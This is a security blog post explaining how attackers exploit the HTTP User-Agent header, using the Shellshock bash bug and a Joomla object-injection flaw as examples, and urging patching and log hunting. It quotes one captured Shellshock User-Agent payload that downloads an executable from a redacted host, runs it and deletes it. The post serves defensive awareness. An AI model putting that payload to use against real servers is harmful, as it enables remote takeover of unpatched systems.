White paper: Gen4 Bot Attacks and How to Stop Them
Back to posts

User-Agent based attacks are a low-key risk that shouldn't be overlooked

March 22, 2017
  • Inbar Raz

As originally published in betanews

Old, unpatched vulnerabilities allow hackers to take over systems using the User-Agent string – an elementary part of virtually every HTTP request.

It is a known fact that while the majority of vulnerabilities discovered or reported are fixed by the vendor and a patch is issued, many systems end up not being patched in a timely manner or even at all, for that matter. There are many possible reasons for that, the most common being:

  • Automatic updates are turned off.
  • Update postponed by the user (usually due to an inconvenient timing).
  • Unattended or remote servers are not supervised.
  • Updates require a reboot which is never performed.

As a result, even though a patch has been created and deployed, there remain many unpatched systems on the Internet.

Hackers track patch releases and quickly reverse engineer the patch, in order to discover what vulnerability has just been fixed. Once they find it, they weaponize it and then proceed to scan the Internet for vulnerable machines. When a vulnerable machine is found, it is automatically compromised and the attacker takes control of it.

Here’s a couple of vulnerabilities specific to when a system parses the User-Agent string from a web browser or any other HTTP request.

The User-Agent string

When a web browser requests a page from a web server, it sends out a string containing information on the platform, operating system and software installed on the requesting computer. The web server can then use this information in order to better customize the page content for that particular browser. The best example would be to send a version of the page that is better laid out for mobile devices.

This string is called the User-Agent string. User-Agent strings have many forms, and typically look similar to one of the following examples:

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.23 Safari/537.36

Mozilla/5.0 (iPad; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405

Mozilla/5.0 (Linux; Android 4.0.4; HTC Desire P Build/IMM76D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19

As you can see, it’s relatively easy to tell that the first was generated by a Windows device, the second by an iPad and the third by an HTC mobile phone running Android.

In practice, anyone can put whatever they want in the User-Agent string, and send it to the web server. For example, here’s the User-Agent string for Googlebot:

Googlebot/2.1 (+http://www.google.com/bot.html)

And one last example, a User-Agent of a Smart TV by Panasonic:

Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB98/ (PANASONIC, Mxl661LG32, wireless) VSTVB_MB97 SmartTvA/3.0.0

Parsing the User-Agent

There are many different web server products, using a variety of architectures and programming languages. And all must, at some point, take the string that was received from the request or the browser and parse it, in order to be able to customize the web page as required.

It is exactly that stage – the parsing of the User-Agent string – that gets targeted by hackers. The hackers’ rule of thumb says that when a remote system is processing a user-controlled input – and the User-Agent string is, as we’ve shown, entirely controlled by the user – it’s a good place to look for bugs.

Let’s look at two examples of such vulnerabilities, that hackers are trying to exploit on a regular basis: the Shellshock vulnerability, targeting linux systems, and a specific vulnerability targeting the Joomla CMS platform.


CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

In September 2014, a vulnerability was discovered in bash, a popular shell (command-line interface) in Unix systems. The vulnerability, when exploited, allowed an attacker to take over the affected machine and execute arbitrary commands. This type of attack, named Remote Code Execution (or RCE for short) is the holy grail for attackers, since it gives the attacker a very high degree of control over the affected system.

Within hours of the publication of the existence of the vulnerability, both the black-hat community and the security industry mobilized.

The bad guys – the black-hat community – immediately started scanning the Internet for vulnerable systems, subsequently attacking them and taking control of them.


The good guys – the security industry – quickly took a deeper look at the affected modules and found a few more vulnerabilities in the same area. Those were collectively named Shellshock) and the branding even included a logo.

Following the discovery of Shellshock, security professionals have been racing to update all the vulnerable software they could lay their hands on. But not all businesses have their own private security professional, and more important, not all systems are routinely updated. As a result, vulnerable systems could still be found many months after the vulnerability had already been reported and fixed.

Of all the countless implementations that were found to be vulnerable, the one that was probably the easiest to exploit was the processing of the User-Agent string.

Here is an example of a User-Agent string we detected, that tries to trigger the Shellshock vulnerability and use it to download an executable from the Internet, and then run it:

() { :;}; /bin/bash -c “wget http://[redacted]/wp2 -O /tmp/w3;curl -o /tmp/w3 http://[redacted]/wp2;chmod +x /tmp/w3;sh /tmp/w3;rm -rf /tmp/w3*”

As it turns out, Shellshock exploitation attempts can still be detected across the board. These are opportunistic attempts, of course, but as the famous security lema says: The defender has to succeed 100 percent of the time, while the attacker only needs to succeed once.

Joomla PHP object injection via HTTP User-Agent header


Joomla is a very popular CMS and web application framework written in PHP. It allows for a simple and easy development of a full featured web site, including a complete user system, comments platform, templates, plugins and more. As of September 2015 it is hosted in no less than 2,800,000 websites.

On December of 2015, the vulnerability was disclosed. A problem with parsing the User-Agent data led to an attacker being able to execute arbitrary code on an affected system. A thorough report on the vulnerability can be found in this blog post by PatrolServer.

Here’s an example of an attack we detected, using a specially-crafted User-Agent string, designed to trigger the vulnerability:


The base64_decode() function is used to decode a large encoded block (redacted in this example), which is then used to create a script that, in turn, downloads and installs additional tools to be used by the attacker.


The volume of User-Agent exploitation attempts that we are seeing is not high, but it’s stable. It proves to show that the illicit business model still works, and there are still vulnerable systems out there, being scanned for, attacked, taken over and then, on top of everything else, used to propagate the attack even further.

It’s an interesting attack vector, and we would like to raise the awareness to such attacks.

The most important thing you can do, of course, is make sure all security patches are regularly installed. This is a single-point-of-failure that allows this type of attacks to keep on going.

If you are a security professional, you should be working in hunting mode rather than in fishing mode. Don’t just wait for your security suits to notify you when they find something. Go look for it yourself. The User-Agent string is very easy to log and inspect, whether manually or using a simple script. It might not give you a real-time alert, but if such an attack has managed to make it through your defenses, at least you’ll be able to find it and mitigate it.

Back to posts comments powered by Disqus